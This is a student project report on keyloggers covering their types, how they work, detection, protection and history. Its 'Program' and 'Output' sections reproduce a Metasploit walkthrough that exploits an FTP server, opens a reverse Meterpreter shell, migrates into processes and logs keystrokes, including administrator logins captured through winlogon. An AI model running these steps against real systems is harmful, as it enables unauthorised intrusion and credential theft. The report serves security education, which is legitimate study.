



KEYLOGGERS

07.01.2023

Anagha Nagesh

Vimal Jyothi Engineering College

Chemperi, Kannur

Kerala

ABSTRACT

Keyloggers is the action of recording the key stroke on a keyboard, typically in a covert manner. Software Keyloggers are detected based on the behavioral characteristics. They don't provide root privileges; detection is based on permission from the kernel and prone to many attacks. Software Keyloggers is a software program that can be installed onto a computer, which monitors all the user activities on the computer. Keyloggers steal the confidential information and they completely run in stealth mode. When Keyloggers is installed in a computer, it is not shown either in start-up icons or anywhere else on the computer that is being monitored. Software Keyloggers have posed a great threat to user privacy and security. Detection of Keyloggers is difficult because they run in hidden mode. Detection of Software Keyloggers is done using various techniques namely Anti-Hook techniques, HoneyID: Spyware detection, bot detection, safe access to password protected accounts and dendritic cell algorithm. These algorithms are used to detect the existence of Keyloggers in computers, which strengthens user privacy and security.

INDEX

SNO	TOPIC	PAGE NO
1	INTRODUCTION	3
2	OBJECTIVE	4
3	KEYLOGGER	5
4	TYPES	6
5	HOW DO KEYLOGGER WORK	7
6	DETECTION AND REMOVAL	10
7	PROTECTION	11
8	HISTORY	12
9	SOFTWARE AND HARDWARE REQUIREMENTS	14
10	SOFTWARE REQUIREMENTS	15
11	HARDWARE REQUIREMENTS	16
12	PROGRAM	18
13	OUTPUT	21
14	CONCLUSION	24
15	BIBLIOGRAPHY	25



INTRODUCTION

Cybercriminals have devised many methods to obtain sensitive information from your endpoint devices. However, few of them are as effective as keystroke logging. Keystroke logging, also known as keylogging, is the capture of typed characters. The data captured can include document content, passwords, user ID's, and other potentially sensitive bits of information. Using this approach, an attacker can obtain valuable data without cracking into a hardened database or file server. Keylogging presents a special challenge to security managers. Unlike traditional worms and viruses, certain types of keyloggers are all but impossible to detect. In this paper, I examine how keyloggers work. I look at the various types of keyloggers and how they differ. Finally, I explore ways to prevent keylogging and how to respond if a keylogger is discovered. Before jumping into the mysteries of keylogging, we should understand how keyboards work and how they interface with systems. The next section is a review of keyboard operation. You can skip it if you understand keyboard technology.



OBJECTIVE

Here the project is developing a windows app for pc called keystroke analysis. Keylogger is an application used for tracking the keys whenever a user presses Keyboard ,Keyword strokes are captured in a converted manner so users are unaware that their actions are monitored.

This software also contain that action of capturing the desktop if a person Is using the mouse or joystick instead of keyboard that can ultimately be stored in a hidden log file that is being viewed by administrator only. It can be accessed by administrator only. This technology can be used for finding out all the sites and files which are being accessed by any person in the administrator's absence.

KEYLOGGER

A keylogger, sometimes called a keystroke logger or keyboard capture, is a type of surveillance technology used to monitor and record each keystroke on a specific computer. Keylogger software is also available for use on smartphones, such as the Apple iPhone and Android devices.

Keyloggers are often used as a spyware tool by cybercriminals to steal personally identifiable information (PII), login credentials and sensitive enterprise data.

Some uses of keyloggers could be considered ethical or appropriate in varying degrees. Keylogger recorders may also be used by:

- employers to observe employees' computer activities;
- parents to supervise their children's internet usage;
- device owners to track possible unauthorized activity on their devices; or
- law enforcement agencies to analyze incidents involving computer use.

TYPES

A **hardware-based keylogger** is a small device that serves as a connector between the keyboard and the computer. The device is designed to resemble an ordinary keyboard PS/2 connector, part of the computer cabling or a USB adaptor, making it relatively easy for someone who wants to monitor a user's behavior to hide the device.

A **keylogging software program** does not require physical access to the user's computer for installation. It can be purposefully downloaded by someone who wants to monitor activity on a particular computer, or it can be malware downloaded unwittingly and executed as part of a rootkit or remote administration Trojan (RAT). The rootkit can launch and operate stealthily to evade manual detection or antivirus scans.

HOW DO KEYLOGGER WORK

How a keylogger works depends on its type. Hardware and software keyloggers work differently due to their medium.

Most workstation keyboards plug into the back of the computer, keeping the connections out of the user's line of sight. A hardware keylogger may also come in the form of a module that is installed inside the keyboard itself. When the user types on the keyboard, the keylogger collects each keystroke and saves it as text in its own hard drive, which may have a memory capacity up to several gigabytes. The person who installed the keylogger must later return and physically remove the device to access the gathered information. There are also wireless keylogger sniffers that can intercept and decrypt data packets transferred between a wireless keyboard and its receiver.

A common software keylogger typically consists of two files that get installed in the same directory: a dynamic link library (DLL) file that does the recording and an executable file that installs the DLL file and triggers it. The keylogger program records each keystroke the user types and periodically uploads the information over the internet to whomever installed the program. Hackers can


design keylogging software to use keyboard application program interfaces (APIs) to another application, malicious script injection or memory injection.



Data keyloggers can capture various information from its targets.

There are two main types of software keyloggers: **user mode keyloggers** and **kernel mode keyloggers**.

A user mode keylogger uses a Windows API to intercept keyboard and mouse movements. `GetAsyncKeyState` or `GetKeyState` API functions might also



be captured depending on the keylogger. These keyloggers require the attacker to actively monitor each keypress.

A kernel mode keylogger is a more powerful and complex software keylogging method. It works with higher privileges and can be harder to locate in a system. Kernel mode keyloggers use filter drivers that can intercept keystrokes. They can also modify the internal Windows system through the kernel.

Some keylogging programs may also include functionality to record user data besides keystrokes, such as capturing anything that has been copied to the clipboard and taking screenshots of the user's screen or a single application.

DETECTION AND REMOVAL

Due to the variety of keyloggers that use different techniques, no single detection or removal method is considered the most effective. Since keyloggers can manipulate an operating system kernel, examining a computer's Task Manager isn't necessarily enough to detect a keylogger.

Security software, such as an anti-keylogger software program, is designed specifically to scan for software-based keyloggers by comparing the files on a computer against a keylogger signature base or a checklist of common keylogger attributes. Using an anti-keylogger can be more effective than an antivirus or antispyware program. The latter may accidentally identify a keylogger as a legitimate program instead of spyware.

Depending on the technique an anti spyware application uses, it may be able to locate and disable keylogger software with lower privileges than it has. Using a network monitor will ensure the user is notified each time an application tries to make a network connection, giving a security team the opportunity to stop any possible keylogger activity.



PROTECTION

While visual inspection can identify hardware keyloggers, it is impractical and time-consuming to implement on a large scale. Instead, individuals can use a firewall to help protect against a keylogger. Since keyloggers transmit data back and forth from the victim to the attacker, the firewall could discover and prevent that data transfer.

Password managers that automatically fill in username and password fields may also help protect against keyloggers. Monitoring software and antivirus software can also keep track of a system's health and prevent keyloggers.


System cages that prevent access to or tampering with USB and PS/2 ports can be added to the user's desktop setup. Extra precautions include using a security token as part of two-factor authentication (2FA) to ensure an attacker cannot use a stolen password alone to log in to a user's account, or using an onscreen keyboard and voice-to-text software to circumvent using a physical keyboard. Application allowlisting can also be used to allow only documented, authorized programs to run on a system. It is also always a good idea to keep any system up to date.

HISTORY

The use of keyloggers dates back to the 1970s, when the Soviet Union developed a hardware keylogging device for electric typewriters. The keylogger, called the Selectric bug, tracked the movements of the printhead by measuring the magnetic field emitted by the movements of the printhead. The Selectric bug targeted IBM Selectric typewriters and spied on U.S. diplomats in the U.S. embassy and consulate buildings in Moscow and St. Petersburg. Selectric keyloggers were found in 16 typewriters and were in use until 1984, when a U.S. ally who was a separate target of this operation caught the intrusion.

Another early keylogger was a software keylogger written by Perry Kivolowitz in 1983. The user mode keylogger located and dumped character lists in a Unix kernel.

The use of keyloggers has broadened, notably starting in the 1990s. More keylogger malware was developed, meaning attackers didn't have to install hardware keyloggers, enabling attackers to steal private data, such as credit card numbers, from unsuspecting victims in a remote location. The use of



keyloggers started to target home users for fraud, as well as in different industries for phishing purposes.

In 2014, the U.S. Department of Homeland Security began warning hotel businesses about keyloggers, after an incident where a keylogger was found in hotels in Dallas, Texas. Publicly accessible computers in shared environments are good targets for keyloggers.

In 2015, a mod for the game Grand Theft Auto V had a keylogger hidden in it. In 2017, a keylogger was also found in HP laptops, which HP patched out, explaining that they were used as a debugging tool for the software.



SOFTWARE AND HARDWARE REQUIREMENTS

Software Requirements:

- Windows
- Linux
- KaliLinux

Hardware Requirements:

- RAM - 512 MB
- Monitor, Keyboard, Mouse
- ROM - 4GB

SOFTWARE REQUIREMENTS


Remot- access software keyloggers can allow access to locally recorded data from a remote location. This communication can happen by using one of the following methods:

- Uploading the data to a website, database or FTP server.
- Periodically emailing data to a predefined email address.
- Wirelessly transmitting data through an attached hardware system.
- Software enabling remote login to your local machine.

Additional features that some software keyloggers come with can capture additional information without requiring any keyboard key presses as input.

They include:

- Clipboard logging – Anything that can be copied to the clipboard is captured.
- Screen logging – Randomly timed screenshots of your computer screen are logged.
- Control text capture – The Windows API allows for programs to request the text value of some controls, meaning that your password




may be captured even if behind a password mask (the asterisks you see when you type your password into a form).

- Activity tracking – Recording of which folders, programs and windows are opened and also possibly screenshots of each.
- Recording of search engine queries, instant message conversations, FTP downloads along with any other internet activities

HARDWARE REQUIREMENTS

Hardware-based keyloggers can monitor your activities without any software being installed at all. Examples of these include:

- Keyboard hardware - These loggers take the form of a piece of hardware inserted somewhere between the computer keyboard and the computer, typically along the keyboard's cable connection. There are of course more advanced implementation methods that would prevent any device from being visible externally. This type of hardware keylogger is advantageous because it is not dependent on any software nor can it be detected by any software.

- 
- Wireless keyboard sniffers - It is possible for the signals sent from a wireless keyboard to its receiver to be intercepted by a wireless sniffer.
 - Keyboard overlays - Overlays are popular in ATM theft cases where thieves capture a user's PIN number. This device is designed to blend in with the machine so that people are unaware of its presence.

PROGRAM

Let's take a look at it in action. First, we will exploit a system as normal.

```
msf exploit(warftpd_165_user) > exploit
```

```
[*] Handler binding to LHOST 0.0.0.0
```

```
[*] Started reverse handler
```

```
[*] Connecting to FTP server 172.16.104.145:21...
```

```
[*] Connected to target FTP server.
```

```
[*] Trying target Windows 2000 SP0-SP4 English...
```

```
[*] Transmitting intermediate stager for over-sized stage...(191  
bytes)
```

```
[*] Sending stage (2650 bytes)
```

```
[*] Sleeping before handling stage...
```

```
[*] Uploading DLL (75787 bytes)...
```

```
[*] Upload completed.
```

```
[*] Meterpreter session 4 opened (172.16.104.130:4444 ->  
172.16.104.145:1246)
```

```
meterpreter >
```


Then, we will migrate Meterpreter to the Explorer.exe process so that we don't have to worry about the exploited process getting reset and closing our session.

```
meterpreter > ps
```

```
Process list
```

```
=====
```

PID	Name	Path
---	----	----
140	smss.exe	\SystemRoot\System32\smss.exe
188	winlogon.exe	??\C:\WINNT\system32\winlogon.exe
216	services.exe	C:\WINNT\system32\services.exe
228	lsass.exe	C:\WINNT\system32\lsass.exe
380	svchost.exe	C:\WINNT\system32\svchost.exe
408	spoolsv.exe	C:\WINNT\system32\spoolsv.exe
444	svchost.exe	C:\WINNT\System32\svchost.exe
480	regsvc.exe	C:\WINNT\system32\regsvc.exe
500	MSTask.exe	C:\WINNT\system32\MSTask.exe
528	VMwareService.exe	C:\Program Files\VMwareVMware Tools\VMwareService.exe



588	WinMgmt.exe	C:\WINNT\System32\WBEMWinMgmt.exe
664	notepad.exe	C:\WINNT\System32\notepad.exe
724	cmd.exe	C:\WINNT\System32\cmd.exe
768	Explorer.exe	C:\WINNT\Explorer.exe
800	war-ftpd.exe	C:\Program Files\War-ftpd\war-ftpd.exe
888	VMwareTray.exe	C:\Program Files\VMware\VMware Tools\VMwareTray.exe
896	VMwareUser.exe	C:\Program Files\VMware\VMware Tools\VMwareUser.exe
940	firefox.exe	C:\Program Files\Mozilla Firefox\firefox.exe
972	TPAutoConnSvc.exe	C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
1088	TPAutoConnect.exe	C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe

```
meterpreter > migrate 768  
[*] Migrating to 768...  
[*] Migration completed successfully.  
meterpreter > getpid  
Current pid: 768
```

OUTPUT

Finally, we start the keylogger, wait for some time and dump the output.

```
meterpreter > keyscan start
```

```
Starting the keystroke sniffer...
```

```
meterpreter > keyscan dump
```

```
Dumping captured keystrokes...
```

```
tgoogle.cm my credit amex myusernamthi
```

```
amexpasswordpassword
```

Could not be easier! Notice how keystrokes such as control and backspace are represented.

As an added bonus, if you want to capture system login information you would just migrate to the winlogon process. This will capture the credentials of all users logging into the system as long as this is running.

```
meterpreter > ps
```

```
Process list
```

```
=====
```



PID	Name	Path
-----	------	------

---	----	----
-----	------	------

401	winlogon.exe	C:\WINNT\system32\winlogon.exe
-----	--------------	--------------------------------

```
meterpreter > migrate 401
```

```
[*] Migrating to 401...
```

```
[*] Migration completed successfully.
```

```
meterpreter > keyscan start
```

```
Starting the keystroke sniffer...
```


```
**** A few minutes later after an admin logs in ****
```

```
meterpreter > keyscan dump
```

```
Dumping captured keystrokes...
```

```
Administrator ohnoeslvebeenh4x0red!
```

Here we can see by logging to the winlogon process allows us to effectively harvest all users logging into that system and capture it. We



have captured the Administrator logging in with a password of
'ohnoes1vebeenh4x0red!'.



CONCLUSION

Keyloggers are marketed as legitimate software and most of them can be used to steal personal user data. At present, Keyloggers are used in combination with phishing and social engineering to commit cyber fraud.

BIBLIOGRAPHY

- www.Intellipaat.com
- www.Scribd.com
- www.leeexplore.ieee.org
- www.google.com
- www.techtarget.com